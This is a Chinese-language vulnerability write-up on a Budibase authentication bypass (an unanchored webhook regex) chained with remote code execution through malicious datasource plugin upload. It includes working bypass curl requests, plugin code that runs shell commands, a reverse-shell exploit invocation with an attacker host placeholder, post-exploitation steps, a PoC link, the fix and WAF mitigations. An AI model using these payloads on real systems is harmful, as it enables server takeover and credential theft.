Post

CVE-2026-31816 Budibase 认证绕过漏洞分析

CVE-2026-31816 Budibase 认证绕过漏洞分析

执行摘要

CVE-2026-31816 是 Budibase 低代码平台中发现的一个严重安全漏洞,CVSS 评分 9.8(严重)。该漏洞由两部分组成:

  1. 认证绕过:由于正则表达式实现缺陷,攻击者可通过 URL 查询字符串绕过身份验证
  2. 远程代码执行(RCE):绕过认证后,攻击者可上传恶意插件实现服务器端任意代码执行

攻击链未授权访问 → 插件上传 → DATASOURCE 插件 → 代码执行 → 完全系统控制


1. 漏洞概述

1.1 基本信息

属性
CVE 编号 CVE-2026-31816
漏洞类型 认证绕过 + 远程代码执行
CVSS 评分 9.8 (严重)
攻击向量 网络 (AV:N)
攻击复杂度 低 (AC:L)
所需权限 无 (PR:N)
用户交互 无 (UI:N)
影响版本 Budibase < 修复版本

1.2 CVSS 向量

1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

2. 技术分析

2.1 认证绕过漏洞

漏洞位置

packages/server/src/middleware/utils.ts

漏洞代码

1
2
3
4
5
6
7
8
// 有漏洞的实现
const WEBHOOK_ENDPOINTS = new RegExp(
  ["webhooks/trigger", "webhooks/schema", "webhooks/discord", "webhooks/ms-teams"].join("|")
)

export function isWebhookEndpoint(ctx: UserCtx) {
  return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}

漏洞原理

  1. 未锚定的正则表达式:正则表达式没有使用 ^$ 锚定,可以在字符串任意位置匹配

  2. 错误的输入源:函数检查 ctx.request.url,该属性包含完整的 URL 路径和查询字符串

  3. 逻辑缺陷:中间件逻辑如下:

    1
    2
    3
    4
    5
    
    if (isWebhookEndpoint(ctx)) {
      // Webhook 端点不需要认证
      return next()
    }
    // 其他端点需要认证
    

绕过方法

在任意 API 请求后添加 ?/webhooks/trigger

1
2
3
4
5
6
7
# 正常请求 - 需要认证
curl http://localhost:10000/api/tables
# 返回: HTTP 302 重定向到登录页

# 绕过认证
curl "http://localhost:10000/api/tables?/webhooks/trigger"
# 返回: HTTP 200 成功!

正则匹配分析

1
2
3
请求 URL: /api/tables?/webhooks/trigger
                              ^^^^^^^^^^^^^^^^
                              正则匹配这部分!

由于 ctx.request.url 返回完整路径(包括 ? 后的查询字符串),且正则未锚定,因此 ?/webhooks/trigger 中的 webhooks/trigger 会被匹配到。

2.2 远程代码执行漏洞

漏洞位置

packages/pro/src/sdk/plugins/index.ts:44-48

漏洞代码

1
2
3
4
5
6
7
8
if (metadata.schema.type === PluginType.DATASOURCE) {
    const js = loadJSFile(directory, jsFile.name)
    try {
        dynamicCodeExecution(js)  // 这里执行任意代码!
    } catch (err: any) {
        throw new Error(`JS invalid: ${message}`)
    }
}

漏洞原理

Budibase 支持插件系统,允许用户扩展平台功能。插件有三种类型:

类型 执行环境 安全性
COMPONENT 浏览器(前端) 安全
DATASOURCE 服务器(后端) 危险 - 可执行任意代码
AUTOMATION 服务器(后端) 可能有风险

对于 DATASOURCE 类型插件,Budibase 在验证时会动态执行插件的 JavaScript 代码。这个设计是为了验证插件的有效性,但也为攻击者提供了 RCE 路径。

RCE 利用过程

  1. 创建恶意插件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    // schema.json - 声明为 DATASOURCE 类型
    {
      "type": "datasource",
      "schema": {
        "friendlyName": "Malicious Plugin",
        "type": "Non-relational",
        "datasource": {...},
        "query": {...}
      }
    }
    
  2. 注入恶意代码
    1
    2
    3
    4
    
    // plugin.js - 服务器端执行
    const {exec} = require('child_process');
    exec('id > /tmp/pwned');
    module.exports = {schema: {}, integration: function() {}};
    
  3. 上传插件(绕过认证)
    1
    2
    
    curl -X POST "http://target:10000/api/plugin/upload?/webhooks/trigger" \
      -F "[email protected]"
    
  4. 代码执行:上传过程中,服务器会执行插件代码进行验证,RCE 完成。

3. 受影响的 API 端点

3.1 全局 API(不需要 WORKSPACE_ID)

端点 方法 功能 危害等级
/api/integrations GET 获取所有集成类型 高 - 信息泄露
/api/integrations/:type GET 获取特定集成配置 高 - 信息泄露
/api/plugin GET 列出所有插件 中 - 信息泄露
/api/plugin POST 从 URL 安装插件 严重 - RCE
/api/plugin/upload POST 上传插件文件 严重 - RCE
/api/plugin/:id DELETE 删除插件 高 - 拒绝服务
/api/plugin/updates GET/POST 检查/应用更新 严重 - RCE

3.2 需要 WORKSPACE_ID 的 API

以下端点受漏洞影响,但需要有效的 x-budibase-app-id header:

  • /api/tables - 表管理
  • /api/rows - 数据行操作
  • /api/datasources - 数据源管理
  • /api/automations - 自动化管理
  • /api/users/metadata - 用户元数据
  • /api/roles - 角色管理

4. 攻击场景

4.1 信息收集

1
2
3
4
5
6
7
8
# 获取所有支持的数据库类型
curl -s "http://target:10000/api/integrations?/webhooks/trigger" | jq .

# 获取 PostgreSQL 配置结构(泄露默认凭据)
curl -s "http://target:10000/api/integrations/POSTGRES?/webhooks/trigger" | jq .

# 获取已安装插件
curl -s "http://target:10000/api/plugin?/webhooks/trigger" | jq .

4.2 远程代码执行

1
2
3
4
5
# 使用 exploit 脚本
python3 CVE-2026-31816-upload-plugin.py \
  -t http://target:10000 \
  --create-and-upload \
  --type datasource

4.3 反向 Shell

1
2
3
4
5
6
7
8
# 启动监听
nc -lvnp 4444

# 执行 exploit
python3 CVE-2026-31816-rshell.py \
  -t http://target:10000 \
  --lhost ATTACKER_IP \
  --lport 4444

4.4 后渗透

获得 shell 后,攻击者可以:

操作 方法
窃取环境变量 读取 process.env
读取数据库凭据 读取 Budibase 配置文件
横向移动 使用窃取的凭据访问其他服务
持久化 写入 SSH 公钥、创建后门用户

5. 漏洞验证

5.1 测试环境

  • 目标: http://192.168.1.128:10000
  • Budibase: Docker 容器环境

5.2 验证步骤

1
2
3
4
5
6
7
8
9
10
11
# 步骤 1: 确认漏洞存在
curl -s "http://192.168.1.128:10000/api/integrations?/webhooks/trigger" --compressed | head

# 步骤 2: 上传 RCE 插件
python3 CVE-2026-31816-upload-plugin.py -t http://192.168.1.128:10000 \
  --create-and-upload --type datasource

# 步骤 3: 验证命令执行
# 在 Budibase 服务器上检查
docker exec -it budibase-server ls /tmp
# 输出包含: 123  ← RCE 成功!

5.3 验证结果

RCE 已确认成功

1
2
root@1aa20b8fb9db:/tmp# ls
123                 # ← 攻击者创建的文件

6. 修复方案

6.1 官方修复

1
2
3
4
5
6
7
8
9
// 修复后的代码
const WEBHOOK_ENDPOINTS = new RegExp(
  "^/api/webhooks/(trigger|schema|discord|ms-teams|slack)(/|$)"
)

export function isWebhookEndpoint(ctx: UserCtx): boolean {
  const path = ctx.path || ctx.request.url.split("?")[0]
  return WEBHOOK_ENDPOINTS.test(path)
}

修复措施:

  1. 锚定正则表达式:添加 ^ 确保从字符串开头匹配
  2. 排除查询字符串:使用 ctx.path 或手动分割 ? 后的内容
  3. 明确路径格式:指定完整的 /api/webhooks/... 路径

6.2 临时缓解措施

在官方修复可用之前:

1
2
3
4
5
6
7
8
9
10
11
# Nginx WAF 规则
if ($request_uri ~* "\?/webhooks/") {
    return 403;
}

# 或更严格的规则
location ~ ^/api/ {
    if ($args ~* "webhooks") {
        return 403;
    }
}
1
2
3
4
5
# 限制插件上传端点
location /api/plugin {
    allow 10.0.0.0/8;  # 仅允许内网
    deny all;
}

7. PoC:

https://github.com/imjdl/CVE-2026-31816-rshell

8. 参考资料

  • Budibase 官方文档: https://docs.budibase.com
  • Budibase GitHub: https://github.com/Budibase/budibase
  • OWASP Authentication Bypass: https://owasp.org/www-community/Bypass_Bypassed
This post is licensed under CC BY 4.0 by the author.